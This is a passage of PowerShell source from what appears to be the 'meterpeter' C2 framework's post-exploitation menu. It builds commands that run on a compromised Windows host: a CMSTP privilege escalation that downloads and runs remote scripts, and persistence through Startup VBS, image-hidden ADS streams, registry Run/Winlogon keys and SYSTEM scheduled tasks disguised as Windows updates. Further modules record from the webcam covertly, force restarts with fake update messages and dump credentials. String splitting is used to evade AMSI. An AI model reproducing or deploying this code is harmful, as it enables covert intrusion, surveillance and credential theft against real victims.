$AnwsomeBanner = @"
____
__,-~~/~ `---.
_/_,---( , )
__ / < / ) \___
- ------===;;;'====------------------===;;;===-------- -
\/ ~"~"~"~"~"~\~"~)~"/
(_ ( \ ( > \)
\_( _ < >_>'
~ `-i' ::>|--"
I;|.|.|
<|i::|i|`.
(` ^'"`-' ") CMSTP EOP
--------------------------------------------------------------------------
"@;Write-Host $AnwsomeBanner
Write-Host "* Exit *Meterpeter* and start a new Handler to recive the elevated shell.." -ForegroundColor Red -BackgroundColor Black
Write-Host " => _EOP_ shell settings: lhost:" -ForegroundColor Red -BackgroundColor Black -NoNewline;
Write-Host "$Local_Host" -ForegroundColor Green -BackgroundColor Black -NoNewline;
Write-Host " lport:" -ForegroundColor Red -BackgroundColor Black -NoNewline;
Write-Host "$Local_Port" -ForegroundColor Green -BackgroundColor Black -NoNewline;
Write-Host " obfuscat`ion:bxor" -ForegroundColor Red -BackgroundColor Black;
#Execute Command Remote
Start-Sleep -Seconds 1;$TriggerSettings = "$Local_Host"+":"+"$Local_Port" -join ''
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){echo `"`n`> Error: Abort, session allready running under Administrator token ..`" `> `$Env:TMP\EOPsettings.log;Get-Content `$Env:TMP\EOPsettings.log;Remove-Item -Path `$Env:TMP\EOPsettings.log -Force;}Else{echo `"$TriggerSettings`" `> `$Env:TMP\EOPsettings.log;iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/CMSTPTrigger.ps1 -OutFile `$Env:TMP\CMSTPTrigger.ps1|Out-Null;Start-Process -WindowStyle hidden powershell.exe -ArgumentList `"-File `$Env:TMP\CMSTPTrigger.ps1 -DelayTime $DelayTime -LoopFor $ExecRatLoop -RatLocation $RatLocation`"}"
}
If($Escal_choise -ieq "Delete" -or $Escal_choise -ieq "del")
{
Write-Host " Delete privil`ege escalation artifacts left behind." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n";
$Command = "Stop-Process -Name cmstp -EA SilentlyContinue;Remove-Item -Path `"`$Env:TMP\*`" -Include *.log,*.ps1,*.dll,*.inf,*.bat,*.vbs -Exclude *Update-* -EA SilentlyContinue -Force|Select -SkipLast 1;echo `" [i] meterpeter EOP artifacts successfuly deleted.`" `> logme.log;Get-Content logme.log;Remove-Item -Path logme.log";
}
If($Escal_choise -ieq "CmdLine")
{
Write-Host " * Spawn UAC gui to run cmdline elevated." -ForegroundColor Green
write-host " - Input cmdline to run elevated: " -ForeGroundColor Red -NoNewline
$ElevatedCmdLine = Read-Host
$Myrunes = "r" + "una" + "s" -join ''
$Command = "powershell -C `"Start-Process $Env:WINDIR\system32\cmd.exe -ArgumentList '$ElevatedCmdLine' -verb $Myrunes`";echo `"`n[i] Executing: '$ElevatedCmdLine'`" `> `$Env:TMP\sdhsdc.log;Get-Content `$Env:TMP\sdhsdc.log;Remove-Item -Path `"`$Env:TMP\sdhsdc.log`" -Force"
}
If($Escal_choise -ieq "Return" -or $Escal_choise -ieq "cls" -or $Escal_choise -ieq "modules" -or $Escal_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Delay_Time = $Null;
$Escal_choise = $Null;
$trigger_File = $Null;
}
}
If($choise -ieq "Persist" -or $choise -ieq "persistance")
{
write-host "`n`n Requirements:" -ForegroundColor Yellow;
write-host " Client (pay`load) must be deployed in target %TEMP% folder.";
write-host " Meterpeter C2 must be put in listener mode (using same lhost|lport), and";
write-host " Target machine needs to restart (startup) to beacon home at sellected time." -ForegroundColor Yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Beacon" -ForegroundColor Green -NoNewline
write-host " Persiste Client using Startup UserLand";
write-host " ADSRUN Persiste Client using A.D.S. UserLand";
write-host " RUNONCE Persiste Client using REG:HKCU UserLand";
write-host " REGRUN Persiste Client using REG:HKLM " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " Schtasks Persiste Client using Schtasks " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " WinLogon Persiste Client using WinLogon " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Persistance> " -NoNewline -ForeGroundColor Green;
$startup_choise = Read-Host;
If($startup_choise -ieq "Beacon")
{
$dat = Get-Date;
$BeaconTime = $Null;
$logfile = "$IPATH"+"beacon.log";
Write-host " - Input Time (sec) to beacon home (eg: 60): " -ForeGroundColor Red -NoNewline;
$Delay_Time = Read-Host;
If(-not($Delay_Time) -or $Delay_Time -lt "30"){$Delay_Time = "60"}
Write-host " - Use target OUTLOOK to send me msg (y|n) : " -NoNewline;
$mSGmE = Read-Host;
If($mSGmE -iMatch '^(y|yes)$')
{
Write-host " - Input Email Address to where send msg : " -ForeGroundColor Red -NoNewline;
$OutLokAddr = Read-Host;
}
$BeaconTime = "$Delay_Time"+"000";
write-host " * Execute client ($payload_name.ps1) with $Delay_Time (sec) loop." -ForegroundColor Green
Start-Sleep -Seconds 1
Write-Host "`n`n Scripts Remote Path" -ForeGroundColor green;
Write-Host " ------- -----------";
Write-Host " $payload_name.ps1 `$Env:TMP\$payload_name.ps1";
Write-Host " $payload_name.vbs `$Env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs" -ForegroundColor Green;
Write-Host " Persistence LogFile: $logfile" -ForeGroundColor yellow;
Write-Host " [i] On StartUp our client should beacon home from $Delay_Time to $Delay_Time seconds.`n" -ForeGroundColor DarkGray;
If($mSGmE -iMatch '^(y|yes)$')
{
#Use Local OUTLOOK to send a message to attacker evertime the persistence.vbs its executed at startup ...
$Command = "echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'objShell.Run `"powershell.exe -Win 1 cd `$Env:TMP;powershell.exe -Win 1 iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1 -OutFile ReadEmails.ps1`", 0, True' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'objShell.Run `"powershell.exe -Win 1 cd `$Env:TMP;powershell.exe -Win 1 -File ReadEmails.ps1 -action Send -SendTo $OutLokAddr -SendSubject Meterpeter_C2_v2.10.11 -SendBody Meterpeter_C2_Have_beacon_home`", 0, True' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'Do' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'wscript.sleep $BeaconTime' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'objShell.Run `"cmd.exe /R powershell.exe -Win 1 -File %tmp%\$payload_name.ps1`", 0, True' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'Loop' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo `" [i] Client $Payload_name.ps1 successful Persisted ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
Else
{
$Command = "echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'Do' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'wscript.sleep $BeaconTime' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'objShell.Run `"cmd.exe /R powershell.exe -Win 1 -File %tmp%\$payload_name.ps1`", 0, True' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo 'Loop' `>`> `"`$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\$payload_name.vbs`";echo `" [i] Client $Payload_name.ps1 successful Persisted ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
## Writing persistence setting into beacon.log local file ..
echo "" >> $logfile
echo "Persistence Settings" >> $logfile;
echo "--------------------" >> $logfile;
echo "DATE : $dat" >> $logfile;
echo "RHOST : $Remote_Host" >> $logfile;
echo "LHOST : $Local_Host" >> $logfile;
echo "LPORT : $Local_Port" >> $logfile;
If($mSGmE -iMatch '^(y|yes)$')
{
echo "OUTLOOK : $OutLokAddr" >> $logfile;
}
echo "" >> $logfile;
}
If($startup_choise -ieq "ADSRUN" -or $startup_choise -ieq "ADS")
{
Write-Host "`n`n Description:" -ForegroundColor Yellow
Write-Host " This module ask users to input the client.ps1 and one image.png absoluct"
Write-Host " paths then the client.ps1 will be embbebed on image.png (ADS_`$DATA) and"
Write-Host " a registry key (HKCU) is created to run image.png `$DATA on every startup."
Write-Host " Remark: This module only accepts [.bat|.txt|.ps1|.exe] pay`load file formats." -ForegroundColor Yellow
Write-Host " Remark: This module can be used to execute other scripts beside client.ps1`n" -ForegroundColor Yellow
Write-host " - Execute ADS:run module? (create|find|Clean) : " -ForeGroundColor DarkGray -NoNewline;
$Chosen_Option = Read-Host;
If($Chosen_Option -iMatch '^(create)$')
{
Write-host " - Input 'Update-KB5005101.ps1' absoluct path : " -ForeGroundColor Red -NoNewline;
$Client_name = Read-Host;
Write-host " - Input image(.png|.jpg|.jpeg) absoluct path : " -ForeGroundColor Red -NoNewline;
$Image_name = Read-Host;
If($Client_name -iMatch '\\' -and $Image_name -iMatch '\\')
{
$RawImagePath = $Image_name.Split('\\')[-1] # blitzo.png
$RawPayloadPath = $Client_name.Split('\\')[-1] # Update-KB5005101.ps1
$LegitImage = $Image_name -replace "\\${RawImagePath}","" # C:\Users\pedro\Coding\ADS_TUTORIAL
Write-Host " * Embebbed '$RawPayloadPath' on '$RawImagePath' (ADS)" -ForegroundColor Green
Write-Host " => '$RawImagePath' `$DATA will be executed at startup." -ForegroundColor Yellow
Start-Sleep -Seconds 1
## Current Settings
# RawImagePath : blitzo.png
# RawPayloadPath : Update-KB5005101.ps1
# LegitImage : C:\Users\pedro\Coding\ADS_TUTORIAL
# Image_name : C:\Users\pedro\Coding\ADS_TUTORIAL\blitzo.png
# Client_name : C:\Users\pedro\AppData\Local\Temp\Update-KB5005101.ps1
## ORIGINAL: $Command = "echo `"@echo off`"|Out-File `"${LegitImage}\ZoneIdentifier.bat`" -Encoding default -Force;Add-Content ${LegitImage}\ZoneIdentifier.bat `"powershell -WindowStyle hidden -File $Client_name`" -Force;iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/AdsMasquerade.ps1`" -OutFile `"`$Env:TMP\AdsMasquerade.ps1`"|Unblock-File;powershell -file `$Env:TMP\AdsMasquerade.ps1 -ADS `"create`" -streamdata `"${LegitImage}\ZoneIdentifier.bat`" -intextfile `"$Image_name`" -registry `"true`";Remove-Item -Path `"`$Env:TMP\AdsMasquerade.ps1`" -Force";
#BugReport: @Daniel_Durnea
$Command = "echo `"@echo off`"|Out-File `"${LegitImage}\ZoneIdentifier.bat`" -Encoding default -Force;Add-Content ${LegitImage}\ZoneIdentifier.bat `"powershell -C Start-Process -WindowStyle hidden powershell -ArgumentList '-File REPL4CEM3'`" -Force;((Get-Content -Path ${LegitImage}\ZoneIdentifier.bat -Raw) -Replace `"REPL4CEM3`",`"$Client_name`")|Set-Content -Path ${LegitImage}\ZoneIdentifier.bat -Force;iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/AdsMasquerade.ps1`" -OutFile `"`$Env:TMP\AdsMasquerade.ps1`"|Unblock-File;powershell -file `$Env:TMP\AdsMasquerade.ps1 -ADS `"create`" -streamdata `"${LegitImage}\ZoneIdentifier.bat`" -intextfile `"$Image_name`" -registry `"true`";Remove-Item -Path `"`$Env:TMP\AdsMasquerade.ps1`" -Force";
}
Else
{
$Command = $Null;
$Chosen_Option = $Null;
$startup_choise = $Null;
Write-Host ""
Write-Host "[error] This module requires 'Absoluct Path' declarations ..." -ForegroundColor Red -BackgroundColor Black
Start-Sleep -Seconds 1
}
}
ElseIf($Chosen_Option -iMatch '^(find)$')
{
Write-host " - The directory to start search for `$DATA stream : " -ForeGroundColor Red -NoNewline;
$StartDir = Read-Host;
If(-not($StartDir) -or $StartDir -ieq $null){$StartDir = "$Env:USERPROFILE"}
Write-Host " * Search in '$StartDir' for streams." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/AdsMasquerade.ps1`" -OutFile `"`$Env:TMP\AdsMasquerade.ps1`"|Unblock-File;powershell -file `$Env:TMP\AdsMasquerade.ps1 -ADS `"enum`" -streamdata `"false`" -StartDir `"$StartDir`";Remove-Item -Path `"`$Env:TMP\AdsMasquerade.ps1`" -Force";
}
ElseIf($Chosen_Option -iMatch '^(clean)$')
{
Write-host " - Input 'payl`oad.extension' name (stream) : " -ForeGroundColor Red -NoNewline;
$streamdata = Read-Host;
Write-host " - Input image(.png|.jpg|.jpeg) absoluct path : " -NoNewline;
$Image_name = Read-Host;$ParseThisShit = $Image_name.Split('\\')[-1]
If(-not($streamdata) -or $streamdata -ieq $null){$streamdata = "ZoneIdentifier"}
Write-Host " * Delete '$ParseThisShit' ADS `$DATA Stream." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/AdsMasquerade.ps1`" -OutFile `"`$Env:TMP\AdsMasquerade.ps1`"|Unblock-File;powershell -file `$Env:TMP\AdsMasquerade.ps1 -ADS `"clear`" -streamdata `"$streamdata`" -intextfile `"$Image_name`";Remove-Item -Path `"`$Env:TMP\AdsMasquerade.ps1`" -Force";
}
Else
{
$Command = $Null;
$Chosen_Option = $Null;
$startup_choise = $Null;
}
}
If($startup_choise -ieq "RUNONCE" -or $startup_choise -ieq "once")
{
## If Available use power`shell -ve`rsio`n 2 {AM`SI Logging Evasion}
write-host " * Execute Client ($payload_name.ps1) On Every StartUp." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
Write-Host " Persist Trigger Remote Path" -ForeGroundColor green;
Write-Host " ------- -------------------";
Write-Host " Update-KB5005101.ps1 `$env:tmp\KBPersist.vbs`n";
$Command = "cmd /R REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce' /v KBUpdate /d '%tmp%\KBPersist.vbs' /t REG_EXPAND_SZ /f;echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `$env:tmp\KBPersist.vbs;echo 'objShell.Run `"cmd /R PoWeRsHeLl -Win 1 -File `$env:tmp\$Payload_name.ps1`", 0, True' `>`> `$env:tmp\KBPersist.vbs";
$Command = ChkDskInternalFuncio(Char_Obf($Command));
}
If($startup_choise -ieq "REGRUN" -or $startup_choise -ieq "run")
{
## If Available use po`wershell -versi`on 2 {AM`SI Logging Evasion}
write-host " * Execute Client ($payload_name.ps1) On Every StartUp." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
Write-Host " Persist Trigger Remote Path" -ForeGroundColor green;
Write-Host " ------- -------------------";
Write-Host " Update-KB5005101.ps1 `$env:tmp\KBPersist.vbs`n";
$myVer = "PoWe" + "RsHeLl -ve" + "rsion 2" -join ''
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 `> test.log;If(Get-Content test.log|Select-String `"Enabled`"){cmd /R reg add 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' /v KBUpdate /d %tmp%\KBPersist.vbs /t REG_EXPAND_SZ /f;echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `$env:tmp\KBPersist.vbs;echo 'objShell.Run `"cmd /R $myVer -Win 1 -File `$env:tmp\$Payload_name.ps1`", 0, True' `>`> `$env:tmp\KBPersist.vbs;remove-Item test.log -Force}else{cmd /R reg add 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' /v KBUpdate /d %tmp%\KBPersist.vbs /t REG_EXPAND_SZ /f;echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `$env:tmp\KBPersist.vbs;echo 'objShell.Run `"cmd /R PoWeRsHeLl -Win 1 -File `$env:tmp\$Payload_name.ps1`", 0, True' `>`> `$env:tmp\KBPersist.vbs;remove-Item test.log -Force}}else{cmd /R reg add 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /v KBUpdate /d %tmp%\KBPersist.vbs /t REG_EXPAND_SZ /f;echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `$env:tmp\KBPersist.vbs;echo 'objShell.Run `"cmd /R PoWeRsHeLl -Win 1 -File `$env:tmp\$Payload_name.ps1`", 0, True' `>`> `$env:tmp\KBPersist.vbs}";
}
If($startup_choise -ieq "Schtasks" -or $startup_choise -ieq "tasks")
{
$onjuyhg = ([char[]]([char]'A'..[char]'Z') + 0..9 | sort {get-random})[0..7] -join '';
write-host " * Make Client Beacon Home Every xx Minuts." -ForegroundColor Green;Start-Sleep -Seconds 1;
write-Host " - Input Client Remote Path: " -ForeGroundColor Red -NoNewline;
$execapi = Read-Host;
write-Host " - Input Beacon Interval (minuts): " -ForeGroundColor Red -NoNewline;
$Interval = Read-Host;write-host "`n";
Write-Host " TaskName Client Remote Path" -ForeGroundColor green;
Write-Host " -------- ------------------";
Write-Host " $onjuyhg $execapi";
write-host "`n";
If(-not($Interval)){$Interval = "10"}
If(-not($execapi)){$execapi = "$env:tmp\Update-KB5005101.ps1"}
$myVer = "PoWe" + "RsHeLl -ve" + "rsion 2" -join ''
$MyTask = "scht" + "asks /cr" + "eate" -join ''
## Settings: ($stime == time-interval) | (/st 00:00 /du 0003:00 == 3 hours duration)
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 `> test.log;If(Get-Content test.log|Select-String `"Enabled`"){cmd /R $MyTask /sc minute /mo $Interval /tn `"$onjuyhg`" /tr `"$myVer -windowstyle hidden -File `"$execapi`" /RU System`";schtasks /Query /tn `"$onjuyhg`" `> schedule.txt;Get-content schedule.txt;Remove-Item schedule.txt -Force}else{cmd /R $MyTask /sc minute /mo $Interval /tn `"$onjuyhg`" /tr `"powershell -windowstyle hidden -File `"$execapi`" /RU System`";schtasks /Query /tn `"$onjuyhg`" `> schedule.txt;Get-content schedule.txt;Remove-Item schedule.txt -Force}}else{cmd /R $MyTask /sc minute /mo $Interval /tn `"$onjuyhg`" /tr `"powershell -windowstyle hidden -File `"$execapi`" /RU System`";schtasks /Query /tn `"$onjuyhg`" `> schedule.txt;Get-content schedule.txt;Remove-Item schedule.txt -Force}";
}
If($startup_choise -ieq "WinLogon" -or $startup_choise -ieq "logon")
{
## If Available use powers`hell -ver`sion 2 {AM`SI Logging Evasion}
write-host " * Execute Client ($payload_name.ps1) On Every StartUp." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
Write-Host " Persist Trigger Remote Path" -ForeGroundColor green;
Write-Host " ------- -------------------";
Write-Host " Update-KB5005101.ps1 `$env:tmp\KBPersist.vbs";
Write-Host " HIVEKEY: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit`n";
$myVer = "PoWe" + "RsHeLl -ve" + "rsion 2" -join ''
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 `> test.log;If(Get-Content test.log|Select-String `"Enabled`"){cmd /R reg add 'HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' /v Userinit /d %windir%\system32\userinit.exe,%tmp%\KBPersist.vbs /t REG_SZ /f;echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `$env:tmp\KBPersist.vbs;echo 'objShell.Run `"cmd /R $myVer -Win 1 -File `$env:tmp\$Payload_name.ps1`", 0, True' `>`> `$env:tmp\KBPersist.vbs;remove-Item test.log -Force}else{cmd /R reg add 'HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' /v Userinit /d %windir%\system32\userinit.exe,%tmp%\KBPersist.vbs /t REG_SZ /f;echo 'Set objShell = WScript.CreateObject(`"WScript.Shell`")' `> `$env:tmp\KBPersist.vbs;echo 'objShell.Run `"cmd /R PoWeRsHeLl -Win 1 -File `$env:tmp\$Payload_name.ps1`", 0, True' `>`> `$env:tmp\KBPersist.vbs;remove-Item test.log -Force}}else{echo `" Client Admin Privileges Required (run as administrator)`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
}
If($startup_choise -ieq "Return" -or $startup_choise -ieq "return" -or $logs_choise -ieq "cls" -or $logs_choise -ieq "Modules" -or $logs_choise -ieq "modules" -or $logs_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$startup_choise = $Null;
}
}
If($choise -ieq "Camera" -or $choise -ieq "cam")
{
write-host "`n`n Remark:" -ForegroundColor Yellow;
write-host " This module allow users to enumerate webcams available,"
write-host " take webcam screenshot(s) or capture webcam live stream."
write-host " Remark: snapshots are stored in remote %TMP% directory." -ForegroundColor DarkYellow
write-host " Remark: webcam turns 'ON' the ligth while recording." -ForegroundColor DarkYellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Device List all camera devices UserLand";
write-host " SnapShot Capture webcam screenshot UserLand";
write-host " WebCamAvi Webcam live stream [.avi] " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Cam> " -NoNewline -ForeGroundColor Green;
$Cam_choise = Read-Host;
If($Cam_choise -ieq "Device")
{
write-host " * Listing Available WebCams`n" -ForeGroundColor Green;
$Command = "Get-PnpDevice -FriendlyName *webcam* -Class Camera,image|Select Status,Class,FriendlyName,InstanceId|Format-Table -AutoSize|Select -SkipLast 1|Out-File `$Env:TMP\device.log -Force;Get-Content -Path `"`$Env:TMP\device.log`";Remove-Item -Path `"`$Env:TMP\device.log`"`-Force";
}
If($Cam_choise -ieq "SnapShot")
{
write-host " * Capture one webcam snapshot." -ForeGroundColor Green
write-host "`n State Snapshot" -ForeGroundColor Green;
write-host " ----- --------"
Write-Host " starting " -ForegroundColor Red -NoNewline
Write-Host "image.bmp`n"
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/CommandCam.exe`" -OutFile `"`$Env:TMP\commandcam.exe`";Start-Process -WindowStyle hidden powershell -argumentlist `"cmd /R start /min %tmp%\CommandCam.exe`" -Wait;echo `" Storage : `$Env:TMP\image.bmp`";Remove-Item `$Env:TMP\CommandCam.exe -Force";
}
If($Cam_choise -ieq "WebCamAvi")
{
write-host " * Live stream using default webcam." -ForeGroundColor Green
write-host " - Time to record vid in seconds: " -ForeGroundColor Red -NoNewline;
[int]$RecTime = Read-Host
If([int]$RecTime -lt 10 -or [int]$RecTime -gt 120)
{
[int]$RecTime = "10"
write-host " => Error: wrong input, default to $RecTime (sec)" -ForeGroundColor red
}
write-host " - Silent install dependencies missing? (y|n): " -ForegroundColor Red -NoNewline
$DependOff = Read-Host
$CurrentDate = (Get-Date -Format 'HH:mm')
write-host " - Schedule webcam record time? ($CurrentDate|now) : " -NoNewline
$StartTime = Read-Host
If([string]::IsNullOrEmpty($StartTime))
{
$StartTime = "now"
write-host " => Error: wrong input, default to [" -ForeGroundColor red -NoNewline
write-host "$StartTime" -ForegroundColor DarkGreen -NoNewline
write-host "]" -ForeGroundColor red
}
ElseIf($StartTime -iMatch '^(now)$')
{
write-host " - " -ForeGroundColor Green -NoNewline
write-host "Start webcam recording [" -NoNewline
write-host "$StartTime" -ForegroundColor DarkGreen -NoNewline
write-host "]"
}
ElseIf($StartTime -NotMatch '^(\d+\d+:+\d+\d)$')
{
## Generate time with 2 minuts ahead
$HourInput = (Get-Date -Format 'HH')
$MinuInput = (Get-Date -Format 'mm')
If($MinuInput.Length -lt 2)
{
## Add '0' to string if $MinuInput
# have deleted the '0' from string
$newvalues = [int]$MinuInput+2
$AddExtram = "0" + "$newvalues" -join ''
}
Else
{
$AddExtram = [int]$MinuInput+2
}
write-host " => Error: [$StartTime] input, default to [" -ForeGroundColor red -NoNewline
$StartTime = "$HourInput" + ":" + "$AddExtram" -join ''
write-host "$StartTime" -ForegroundColor DarkGreen -NoNewline
write-host "] hours" -ForeGroundColor red
}
Else
{
write-host " - " -ForeGroundColor Green -NoNewline
write-host "Start webcam recording [" -NoNewline
write-host "$StartTime" -ForegroundColor DarkGreen -NoNewline
write-host "] hours"
}
## Print Settings OnScreen
write-host "`n`n State VideoFile RecordTime" -ForegroundColor Green
write-host " ----- --------- ----------"
write-host " running " -ForegroundColor Red -NoNewline
write-host "meterpeter.avi ${RecTime} (secs) "
If(-not($DependOff) -or $DependOff -iMatch '^(n|no)$')
{
#Execute command remote
$Command = "`$CheckInstall = [bool](python -V);If(`$CheckInstall -Match 'True'){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WebCam-Capture/Invoke-webcamAvi.ps1`" -OutFile `"`$Env:TMP\Invoke-webcamAvi.ps1`";Start-Process -WindowStyle hidden powershell -argumentList `"-file `$Env:TMP\Invoke-webcamAvi.ps1 -rectime $RecTime -starttime $StartTime -autodel`";echo `"`n State : recording webcam live in avi format.`";echo `" Remark : module takes a few seconds before start capture.`";echo `" Storage : `$Env:TMP\meterpeter.avi`"}Else{echo `"`n `> Error: module requires 'Python3' installed on target system.`"}"
}
Else
{
#Execute command remote [silent install dependencies]
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WebCam-Capture/Invoke-webcamAvi.ps1`" -OutFile `"`$Env:TMP\Invoke-webcamAvi.ps1`";Start-Process -WindowStyle hidden powershell -argumentList `"-file `$Env:TMP\Invoke-webcamAvi.ps1 -rectime $RecTime -starttime $StartTime -forceinstall -autodel`";echo `"`n State : recording webcam live in avi format.`";echo `" State : Silent install python3 dependencies if missing.`";echo `" Remark : module takes a few seconds before start capture.`";echo `" Storage : `$Env:TMP\meterpeter.avi`""
}
}
If($Cam_choise -ieq "Return" -or $Cam_choise -ieq "cls" -or $Cam_choise -ieq "Modules" -or $Cam_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Cam_choise = $Null;
}
}
If($choise -ieq "Restart")
{
## Fast restart of Remote-Host (with msgbox)
Write-Host " - RestartTime: " -ForeGroundColor Red -NoNewline;
$shutdown_time = Read-Host;
If(-not ($shutdown_time) -or $shutdown_time -eq " ")
{
## Default restart { - RestartTime: blank }
Write-Host "`n`n Status Schedule Message" -ForeGroundColor green;
Write-Host " ------ -------- -------";
Write-Host " restart 60 (sec) A restart is required to finish install security updates.";
write-Host "`n`n - Continue? (y|n): " -NoNewline
$Continue = Read-Host
If($Continue -iMatch '^(y|yes)$')
{
$Command = "cmd /R shutdown /r /c `"A restart is required to finish install security updates.`" /t 60"
}
Else
{
$Command = $null
}
}
Else
{
write-host " - RestartMessage: " -NoNewline;
$shutdown_msg = Read-Host;
If (-not ($shutdown_msg) -or $shutdown_msg -eq " ")
{
## Default msgbox { - RestartMessage: blank }
Write-Host "`n`n Status Schedule Message" -ForeGroundColor green;
Write-Host " ------ -------- -------";
Write-Host " restart $shutdown_time (sec) A restart is required to finish install security updates.";
write-Host "`n`n - Continue? (y|n): " -NoNewline
$Continue = Read-Host
If($Continue -iMatch '^(y|yes)$')
{
$Command = "cmd /R shutdown /r /c `"A restart is required to finish install security updates.`" /t $shutdown_time";
}
Else
{
$Command = $null
}
}
Else
{
## User Inputs { - RestartTime: ++ - RestartMessage: }
Write-Host "`n`n Status Schedule Message" -ForeGroundColor green;
Write-Host " ------ -------- -------";
Write-Host " restart $shutdown_time (sec) $shutdown_msg"
write-Host "`n`n - Continue? (y|n): " -NoNewline
$Continue = Read-Host
If($Continue -iMatch '^(y|yes)$')
{
$Command = "cmd /R shutdown /r /c `"$shutdown_msg`" /t $shutdown_time"
}
Else
{
$Command = $null
}
}
}
write-host ""
$shutdown_msg = $Null;
$shutdown_time = $Null;
}
If($choise -ieq "Passwords" -or $choise -ieq "pass")
{
$fdx = "cr@ede@nti@al du@mp" -replace '@',''
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Start module searchs for credential strings inside"
write-host " all files starting in the input directory recursive."
write-host " Dpapi and Vault modules dumps PasswordVault credentials." -ForegroundColor Yellow
write-host " WDigest invokes m[i]mika[t]z to dump creds from memory" -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " File Search for creds inside files UserLand";
write-host " Putty Leak PUTTY session(s) creds UserLand";
write-host " Dpapi Dump DPAPI masterKeys + blobs UserLand";
write-host " Vault Dump creds from PasswordVault UserLand";
write-host " WDigest Credential caching [memory] " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " Browser Clear-text $fdx " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " DumpSAM Dump hashs from registry hives " -NoNewline
write-host "Administrator" -ForegroundColor Red
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Pass> " -NoNewline -ForeGroundColor Green;
$pass_choise = Read-Host;
If($pass_choise -ieq "Putty")
{
